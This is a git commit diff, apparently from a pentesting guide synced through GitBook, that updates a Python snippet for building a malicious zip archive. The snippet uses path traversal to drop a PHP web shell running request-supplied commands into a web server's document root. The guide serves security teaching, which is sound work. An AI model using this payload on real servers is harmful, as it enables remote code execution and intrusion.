GITBOOK-3950: change request with no subject merged in GitBook

This commit is contained in:
CPol 2023-05-28 13:35:03 +00:00 committed by gitbook-bot
parent 28e205b34c
commit 0a0edcec2e
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF

View file

@ -261,10 +261,10 @@ Some python code to create a malicious zip:
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
from io import BytesIO
def create_zip():
f = StringIO()
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')